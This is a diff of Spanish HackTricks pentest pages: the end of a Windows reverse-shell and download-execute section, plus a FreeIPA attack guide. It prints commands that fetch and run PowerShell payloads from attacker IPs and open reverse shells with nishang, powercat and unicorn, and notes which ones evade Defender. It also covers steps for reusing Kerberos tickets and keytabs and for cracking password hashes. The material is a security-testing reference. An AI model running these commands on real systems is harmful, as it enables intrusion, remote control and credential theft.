Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso realizando llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
**No lo he probado**
|
||||
**No lo he intentado**
|
||||
|
||||
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
|
||||
|
||||
|
@ -377,10 +380,10 @@ Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
|||
```
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
Proceso que realiza llamada de red: **svchost.exe**\
|
||||
Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
||||
Proceso que realiza la llamada de red: **svchost.exe**\
|
||||
Carga escrita en disco: **caché local del cliente WebDAV**
|
||||
|
||||
**No lo he probado**
|
||||
**No lo he intentado**
|
||||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
||||
|
@ -390,7 +393,7 @@ Carga útil escrita en disco: **Caché local del cliente WebDAV**
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
En la carpeta **Shells**, hay muchas shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_ haz una copia del script y añade al final del archivo:
|
||||
En la carpeta **Shells**, hay varios tipos de shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_ haga una copia del script y añada al final del archivo:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
@ -400,13 +403,13 @@ powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
|||
```
|
||||
Defender no lo detecta como código malicioso (aún, 3/04/2019).
|
||||
|
||||
**TODO: Verificar otras shells de nishang**
|
||||
**TODO: Revisar otros shells de nishang**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
Descargar, iniciar un servidor web, iniciar el listener y ejecutarlo en el extremo de la víctima:
|
||||
Descarga, inicia un servidor web, comienza el escucha y ejecútalo en el extremo de la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
@ -414,7 +417,7 @@ Defender no lo detecta como código malicioso (aún, 3/04/2019).
|
|||
|
||||
**Otras opciones ofrecidas por powercat:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Redirección de puertos, subida/descarga, Generar payloads, Servir archivos...
|
||||
Conexiones de escucha, Shell inversa (TCP, UDP, DNS), Redirección de puertos, subida/bajada de archivos, Generar payloads, Servir archivos...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -439,29 +442,29 @@ Crea un lanzador de powershell, guárdalo en un archivo y descárgalo y ejecúta
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**Detectado como código malicioso**
|
||||
**Código detectado como malicioso**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Crea una versión en powershell de la puerta trasera de metasploit utilizando unicorn
|
||||
Crear una versión en powershell de la puerta trasera de Metasploit utilizando unicorn
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
Inicie msfconsole con el recurso creado:
|
||||
Inicia msfconsole con el recurso creado:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Inicie un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecute en la víctima:
|
||||
Comience un servidor web sirviendo el archivo _powershell\_attack.txt_ y ejecute en la víctima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**Detectado como código malicioso**
|
||||
**Código detectado como malicioso**
|
||||
|
||||
## Más
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Consola PS con algunos módulos ofensivos de PS pre-cargados (cifrados)\
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Consola PS con algunos módulos ofensivos de PS precargados (cifrados)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Consola PS con algunos módulos ofensivos de PS y detección de proxy (IEX)
|
||||
|
||||
|
@ -478,21 +481,21 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Consola PS con algunos módulo
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,121 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
Esta información fue tomada de los posts:
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be)
|
||||
|
||||
## Información Básica
|
||||
|
||||
Es una **alternativa** de código abierto a Microsoft Windows **Active** **Directory**, utilizada principalmente como una solución de gestión integrada para entornos **Unix**. Al igual que Active Directory, FreeIPA implementa una infraestructura completa de **directorio LDAP** respaldada por un Centro de Distribución de Claves **Kerberos** del MIT. Utiliza el **Sistema de Certificados Dogtag** para la gestión de certificados de CA & RA, lo que le permite manejar autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD se utiliza para integrar FreeIPA en el proceso de autenticación estándar de Unix.
|
||||
FreeIPA se presenta como una **alternativa de código abierto** a Microsoft Windows **Active** **Directory** y se utiliza principalmente en entornos **Unix** para la gestión integrada. Cuenta con un directorio **LDAP completo** respaldado por un Centro de Distribución de Claves MIT **Kerberos**, similar a Active Directory. El Sistema de Certificados Dogtag se utiliza para gestionar certificados de CA y RA, lo que permite capacidades de autenticación **multifactor**, incluidas las tarjetas inteligentes. Para la integración en el proceso de autenticación de Unix, se utiliza SSSD.
|
||||
|
||||
## Huellas Digitales
|
||||
|
||||
### Archivos & Variables de Entorno
|
||||
### Archivos y Variables de Entorno
|
||||
|
||||
* **`/etc/krb5.conf`:** El archivo `krb5.conf` contiene la información del cliente Kerberos necesaria para estar **inscrito en el dominio**. Esto incluye las **ubicaciones de los KDCs y servidores admin** para los reinos Kerberos de interés, valores predeterminados para el reino actual y para aplicaciones Kerberos, y mapeos de nombres de host a reinos Kerberos.
|
||||
* **`/etc/ipa/default.conf`:** Este es el **archivo de configuración predeterminado para servidores IPA**, se utiliza para establecer valores predeterminados a nivel de sistema que se aplicarán al ejecutar clientes y servidores IPA.
|
||||
* **`/etc/krb5.keytab`:** El archivo `krb5.keytab` es **necesario** en todos los hosts dentro del **dominio**. Es requerido como parte del proceso de **autenticación** al KDC.
|
||||
* **`KRB5CCNAME`:** Si está establecido, esta variable apunta a la **ubicación del Ticket CCACHE** que se utilizará para la autenticación.
|
||||
* **`KRB5_KTNAME`:** Si está establecido, esta variable apunta a la **ubicación** del archivo **Keytab** que se utilizará para la autenticación.
|
||||
* **`KRB5_CONFIG`:** Si está establecido, esta variable apunta a la **ubicación** del archivo de **configuración Kerberos**.
|
||||
* **`KRB5_KDC_PROFILE`:** Si está establecido, esta variable apunta a la **ubicación del archivo de configuración del KDC**, que contiene directivas de configuración adicionales para el daemon del Centro de Distribución de Claves.
|
||||
* **`KRB5RCACHETYPE`:** Esta variable especifica el **tipo predeterminado de caché de repetición** que se utilizará para los servidores.
|
||||
* **`KRB5RCACHEDIR`:** Esta variable especifica el **directorio predeterminado para las cachés de repetición** utilizadas por los servidores.
|
||||
* **`KRB5_TRACE`:** Esta variable especifica un **nombre de archivo para escribir la salida del registro de seguimiento**. Los registros de seguimiento pueden ayudar a iluminar las decisiones tomadas internamente por las bibliotecas Kerberos.
|
||||
* **`KRB5_CLIENT_KTNAME`:** Esta variable establece el nombre del archivo **keytab del cliente** predeterminado.
|
||||
* **`KPROP_PORT`:** Esta variable establece el **puerto predeterminado para kprop**.
|
||||
- El archivo en `/etc/krb5.conf` es donde se almacena la información del cliente Kerberos, necesaria para la inscripción en el dominio. Esto incluye las ubicaciones de los KDC y los servidores de administración, configuraciones predeterminadas y asignaciones.
|
||||
- Las configuraciones predeterminadas del sistema para clientes y servidores IPA se establecen en el archivo ubicado en `/etc/ipa/default.conf`.
|
||||
- Los hosts dentro del dominio deben tener un archivo `krb5.keytab` en `/etc/krb5.keytab` para procesos de autenticación.
|
||||
- Se utilizan varias variables de entorno (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) para apuntar a archivos específicos y configuraciones relevantes para la autenticación Kerberos.
|
||||
|
||||
### Binarios
|
||||
|
||||
* **ipa:** Este binario es el estándar para **gestionar un dominio FreeIPA**. Se puede utilizar para gestionar hosts, usuarios, reglas de sudo y mucho más.
|
||||
* **kdestroy:** El binario kdestroy se utiliza para **destruir** cualquier **ticket Kerberos** actual en la sesión del usuario.
|
||||
* **kinit:** El binario kinit se utiliza para **establecer** o **renovar tickets Kerberos**.
|
||||
* **klist:** El binario klist **lista** cualquier **ticket Kerberos en uso** actualmente, y a qué principios proporcionan acceso los tickets.
|
||||
* **kpasswd:** El comando kpasswd se utiliza para **cambiar la contraseña de un principal Kerberos**. kpasswd primero solicita la contraseña actual de Kerberos, luego pide al usuario dos veces la nueva contraseña, y se cambia la contraseña.
|
||||
* **ksu:** Ksu se puede utilizar como una **alternativa al binario su**, para cambiar el **contexto de usuario actual**.
|
||||
* **kswitch:** El comando kswitch **cambiará** la **caché de credenciales en uso** actualmente.
|
||||
* **kvno:** El binario kvno adquiere un **ticket de servicio** para los **principales Kerberos especificados** e imprime los números de versión de clave de cada uno.
|
||||
Herramientas como `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` y `kvno` son fundamentales para administrar dominios FreeIPA, manejar tickets Kerberos, cambiar contraseñas y adquirir tickets de servicio, entre otras funcionalidades.
|
||||
|
||||
### Red
|
||||
|
||||
Así es como podría verse un servidor FreeIPA:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
Se proporciona una ilustración para representar una configuración típica del servidor FreeIPA.
|
||||
|
||||
## Autenticación
|
||||
|
||||
Dado que FreeIPA utiliza **Kerberos para la autenticación**, este proceso es muy similar a la **autenticación** en **Active Directory**. Para **acceder** a recursos en el dominio, un usuario debe tener un **ticket Kerberos válido** para ese recurso. Estos tickets pueden almacenarse en diferentes ubicaciones basadas en la configuración del dominio FreeIPA.
|
||||
La autenticación en FreeIPA, aprovechando **Kerberos**, refleja la de **Active Directory**. El acceso a los recursos del dominio requiere un ticket Kerberos válido, que puede almacenarse en varias ubicaciones dependiendo de la configuración del dominio FreeIPA.
|
||||
|
||||
### **Archivos de Ticket CCACHE**
|
||||
### Archivos de Tickets CCACHE
|
||||
|
||||
Cuando se establece que los tickets se **almacenarán** como un **archivo** en **disco**, el formato y tipo estándar es un archivo **CCACHE**. Este es un formato de archivo binario simple para almacenar credenciales Kerberos. Estos archivos generalmente se almacenan en **`/tmp`** y tienen permisos **600**. Desde la perspectiva de un atacante, esto es importante por las siguientes razones:
|
||||
Los archivos CCACHE, almacenados típicamente en **`/tmp`** con permisos **600**, son formatos binarios para almacenar credenciales Kerberos, importantes para la autenticación sin la contraseña en texto plano del usuario debido a su portabilidad. Analizar un ticket CCACHE se puede hacer utilizando el comando `klist`, y reutilizar un ticket CCACHE válido implica exportar `KRB5CCNAME` a la ruta del archivo del ticket.
|
||||
|
||||
1. Los tickets válidos pueden ser **utilizados para autenticarse**, **sin** necesidad de la **contraseña** en texto plano del usuario respectivo.
|
||||
2. Los tickets **CCACHE** son altamente **portátiles**. Pueden descargarse y cargarse en otro host sin necesidad de renovar o validar el ticket.
|
||||
### Llavero Unix
|
||||
|
||||
**Analizar** un Ticket CCACHE se puede lograr fácilmente de varias maneras diferentes. El método más simple es analizarlo con el binario klist.
|
||||
```
|
||||
klist /tmp/krb5cc_0
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
|
||||
Alternativamente, los Tickets CCACHE se pueden almacenar en el llavero de Linux, ofreciendo más control sobre la gestión de tickets. El alcance del almacenamiento de tickets varía (`KEYRING:nombre`, `KEYRING:proceso:nombre`, `KEYRING:hilo:nombre`, `KEYRING:sessión:nombre`, `KEYRING:persistent:uidnúmero`), con `klist` capaz de analizar esta información para el usuario. Sin embargo, reutilizar un Ticket CCACHE desde el llavero Unix puede plantear desafíos, con herramientas como **Tickey** disponibles para extraer tickets Kerberos.
|
||||
|
||||
Para un atacante, reutilizar un Ticket CCACHE es muy fácil. Para **reutilizar** un Ticket CCACHE válido, **exporte** **KRB5CCNAME** al **camino** del archivo de ticket válido. El sistema debería reconocer la variable de entorno e intentará usar ese material de credencial al interactuar con el dominio.
|
||||
```bash
|
||||
export KRB5CCNAME=/tmp/krb5cc_0
|
||||
klist
|
||||
```
|
||||
### **Unix Keyring**
|
||||
### Keytab
|
||||
|
||||
Los Tickets CCACHE también pueden ser **almacenados** en el **keyring** de Linux. El keyring reside dentro del **kernel** y ofrece a los administradores **más control sobre la recuperación y uso de los tickets almacenados**. Los tickets pueden ser delimitados de las siguientes maneras diferentes:
|
||||
Los archivos Keytab, que contienen principios Kerberos y claves encriptadas, son críticos para obtener tickets de concesión de tickets válidos (TGT) sin necesidad de la contraseña del principio. Analizar y reutilizar credenciales de archivos Keytab se puede realizar fácilmente con utilidades como `klist` y scripts como **KeytabParser**.
|
||||
|
||||
* **`KEYRING:name`:** Los tickets están delimitados a un Keyring nombrado específico.
|
||||
* **`KEYRING:process:name`:** Los tickets están delimitados a un id de proceso específico.
|
||||
* **`KEYRING:thread:name`:** Los tickets están delimitados a un hilo específico.
|
||||
* **`KEYRING:session:name`:** Los tickets están delimitados a una sesión de usuario específica.
|
||||
* **`KEYRING:persistent:uidnumber`:** Los tickets están delimitados a un usuario específico independientemente de la sesión (por defecto).
|
||||
### Hoja de Trucos
|
||||
|
||||
Dependiendo de cómo el administrador haya delimitado el ticket almacenado dentro del keyring de Unix, extraerlo puede ser difícil. Sin embargo, el **alcance** **predeterminado** para los Tickets CCACHE en el keyring de Unix es **`KEYRING:persistent:uidnumber`**. Afortunadamente, si estás en el **contexto** del **usuario**, `klist` puede **analizar** esta información para nosotros.
|
||||
|
||||
Como atacante, **reutilizar un Ticket CCACHE** almacenado en el keyring de Unix es bastante **difícil** dependiendo de cómo esté delimitado el ticket. Afortunadamente [@Zer1t0](https://github.com/Zer1t0) de [@Tarlogic](https://twitter.com/Tarlogic) ha creado una herramienta que puede extraer tickets de Kerberos del keyring de Unix. La herramienta se llama **Tickey** y se puede encontrar [**aquí**](https://github.com/TarlogicSecurity/tickey).
|
||||
|
||||
### Keytab <a href="#ff38" id="ff38"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
generalmente, cada host se despliega con una credencial keytab para ese host que puede ser utilizada para obtener un Ticket Granting Ticket (TGT) válido del Credential Cache (CCACHE) para el propio host.
|
||||
{% endhint %}
|
||||
|
||||
Consiste en pares de **principales de Kerberos y claves encriptadas** que se derivan de la contraseña de Kerberos asociada con el principal. Dado que estas claves se derivan de la contraseña del principal, si esa **contraseña cambia el keytab será invalidado**.
|
||||
|
||||
Los archivos keytab pueden ser utilizados para **obtener un ticket granting ticket** (TGT) válido para el principal al que están delimitados. Este proceso de autenticación **no requiere la contraseña**, ya que contiene claves derivadas de la contraseña.
|
||||
|
||||
Analizar un archivo keytab es muy fácil y se puede lograr de varias maneras. La forma más fácil de **analizar** un archivo **keytab** es con **klist**. La segunda manera utiliza una excelente utilidad de python que [Cody Thomas](https://medium.com/u/645ffcef8682?source=post_page-----77e73d837d6a--------------------------------) ha creado. Su proyecto [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) **analizará** el principal y sus claves encriptadas relevantes.
|
||||
|
||||
Los atacantes pueden **reutilizar credenciales almacenadas en archivos keytab generando un Ticket CCACHE** a través del binario kinit.
|
||||
```powershell
|
||||
# Parse keytab
|
||||
klist -k /rtc/krb5.keytab
|
||||
|
||||
# Get TGT
|
||||
kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL
|
||||
```
|
||||
### Cheatsheet
|
||||
|
||||
Puedes encontrar más información sobre cómo usar tickets en linux en el siguiente enlace:
|
||||
Puedes encontrar más información sobre cómo usar tickets en Linux en el siguiente enlace:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
|
||||
|
@ -125,18 +62,18 @@ Puedes encontrar más información sobre cómo usar tickets en linux en el sigui
|
|||
## Enumeración
|
||||
|
||||
{% hint style="warning" %}
|
||||
Podrías realizar la **enumeración** a través de **ldap** y otras herramientas **binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**.
|
||||
Podrías realizar la **enumeración** a través de **ldap** y otras **herramientas binarias**, o **conectándote a la página web en el puerto 443 del servidor FreeIPA**.
|
||||
{% endhint %}
|
||||
|
||||
### Hosts, Usuarios y Grupos <a href="#4b3b" id="4b3b"></a>
|
||||
|
||||
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se organizan en contenedores llamados “**Host Groups**” y “**User Groups**” respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
|
||||
Es posible crear **hosts**, **usuarios** y **grupos**. Los hosts y usuarios se clasifican en contenedores llamados "**Grupos de Hosts**" y "**Grupos de Usuarios**" respectivamente. Estos son similares a las **Unidades Organizativas** (OU).
|
||||
|
||||
Por defecto en FreeIPA, el servidor LDAP permite **enlaces anónimos**, y una gran cantidad de datos son enumerables **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación:
|
||||
Por defecto en FreeIPA, el servidor LDAP permite **vínculos anónimos**, y una gran cantidad de datos son enumerables **sin autenticación**. Esto puede enumerar todos los datos disponibles sin autenticación:
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
Para obtener **más información** necesitas usar una sesión **autenticada** (consulta la sección de Autenticación para aprender cómo preparar una sesión autenticada).
|
||||
Para obtener **más información**, necesitas usar una sesión **autenticada** (consulta la sección de Autenticación para aprender cómo preparar una sesión autenticada).
|
||||
```bash
|
||||
# Get all users of domain
|
||||
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
|
||||
|
@ -150,7 +87,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
|||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
Desde una máquina unida al dominio podrás usar **binarios instalados** para enumerar el dominio:
|
||||
Desde una máquina unida al dominio podrás utilizar **binarios instalados** para enumerar el dominio:
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
|
@ -165,23 +102,23 @@ ipa host-find <host> --all
|
|||
ipa hostgroup-show <host group> --all
|
||||
```
|
||||
{% hint style="info" %}
|
||||
El usuario **admin** de **FreeIPA** es el equivalente a **domain admins** de **AD**.
|
||||
El usuario **admin** de **FreeIPA** es equivalente a los **administradores de dominio** de **AD**.
|
||||
{% endhint %}
|
||||
|
||||
### Hashes <a href="#482b" id="482b"></a>
|
||||
|
||||
El usuario **root** del **servidor IPA** tiene acceso a los **hashes** de contraseñas.
|
||||
|
||||
* El hash de la contraseña de un usuario se almacena como **base64** en el **atributo** “**userPassword**”. Este hash podría ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2_SHA256**.
|
||||
* El **Nthash** de la contraseña se almacena como **base64** en “**ipaNTHash**” si el sistema tiene **integración** con **AD**.
|
||||
* El hash de la contraseña de un usuario se almacena en formato **base64** en el atributo "**userPassword**". Este hash puede ser **SSHA512** (versiones antiguas de FreeIPA) o **PBKDF2\_SHA256**.
|
||||
* El **Nthash** de la contraseña se almacena en formato **base64** en "ipaNTHash" si el sistema está integrado con **AD**.
|
||||
|
||||
Para descifrar estos hashes:
|
||||
Para crackear estos hashes:
|
||||
|
||||
• Si FreeIPA está integrado con AD, **ipaNTHash** es fácil de descifrar: Debes **decodificar** **base64** -> recodificarlo como hex **ASCII** -> John The Ripper o **hashcat** pueden ayudarte a descifrarlo rápidamente
|
||||
• Si FreeIPA está integrado con AD, el **ipaNTHash** es fácil de crackear: Debes **decodificar** el **base64** -> volver a codificarlo como **ASCII** hexadecimal -> John The Ripper o **hashcat** pueden ayudarte a crackearlo rápidamente
|
||||
|
||||
• Si se utiliza una versión antigua de FreeIPA, por lo que se usa **SSHA512**: Debes decodificar **base64** -> encontrar el hash **SSHA512** -> John The Ripper o **hashcat** pueden ayudarte a descifrarlo
|
||||
• Si se utiliza una versión antigua de FreeIPA, se utiliza **SSHA512**: Debes decodificar el **base64** -> encontrar el hash **SSHA512** -> John The Ripper o **hashcat** pueden ayudarte a crackearlo
|
||||
|
||||
• Si se utiliza una versión nueva de FreeIPA, por lo que se usa **PBKDF2_SHA256**: Debes decodificar **base64** -> encontrar PBKDF2_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-256 se utiliza como la función pseudoaleatoria, el tamaño de bloque es de 32 bytes -> puedes usar solo los primeros 256 bits de nuestro hash PBKDF2_SHA256 -> John The Ripper o hashcat pueden ayudarte a descifrarlo
|
||||
• Si se utiliza una nueva versión de FreeIPA, se utiliza **PBKDF2\_SHA256**: Debes decodificar el **base64** -> encontrar PBKDF2\_SHA256 -> su **longitud** es de 256 bytes. John puede trabajar con 256 bits (32 bytes) -> SHA-265 se utiliza como función seudoaleatoria, el tamaño del bloque es de 32 bytes -> solo puedes usar los primeros 256 bits de nuestro hash PBKDF2\_SHA256 -> John The Ripper o hashcat pueden ayudarte a crackearlo
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (33).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -202,7 +139,7 @@ ipa hbacrule-show <hbacrule> --all
|
|||
```
|
||||
#### Reglas de Sudo
|
||||
|
||||
FreeIPA ofrece la capacidad de **administrar permisos de sudo** desde una fuente **centralizada** a través de reglas de sudo. Estos conjuntos de reglas se pueden utilizar para restringir o delegar la capacidad de **ejecutar comandos como sudo** en hosts inscritos en el dominio. Como atacantes, podemos enumerar a qué hosts y usuarios se aplican estos conjuntos de reglas y qué comandos están permitidos a través del conjunto de reglas.
|
||||
FreeIPA permite el control centralizado sobre los **permisos de sudo** a través de las reglas de sudo. Estas reglas permiten o limitan la ejecución de comandos con sudo en hosts dentro del dominio. Un atacante podría potencialmente identificar los hosts aplicables, usuarios y comandos permitidos examinando estos conjuntos de reglas.
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
@ -213,21 +150,15 @@ ipa sudorule-show <sudorule> --all
|
|||
```
|
||||
### Control de Acceso Basado en Roles
|
||||
|
||||
Cada **rol** contiene un conjunto de **privilegios**, y esos respectivos privilegios contienen un **conjunto** de **permisos**. Los roles pueden ser **aplicados a Usuarios**, Grupos de **Usuarios**, **Hosts**, Grupos de Hosts y Servicios. Para ilustrar este concepto, discutamos el rol predeterminado de "Administrador de Usuarios" en FreeIPA.
|
||||
Un **rol** está compuesto por varios **privilegios**, cada uno de los cuales abarca una colección de **permisos**. Estos roles pueden asignarse a Usuarios, **Grupos** de Usuarios, **Hosts**, Grupos de Hosts y Servicios. Por ejemplo, considera el rol predeterminado de "Administrador de Usuarios" en FreeIPA para ejemplificar esta estructura.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (161).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como muestra la captura de pantalla anterior, el rol de “Administrador de Usuarios” contiene los siguientes privilegios:
|
||||
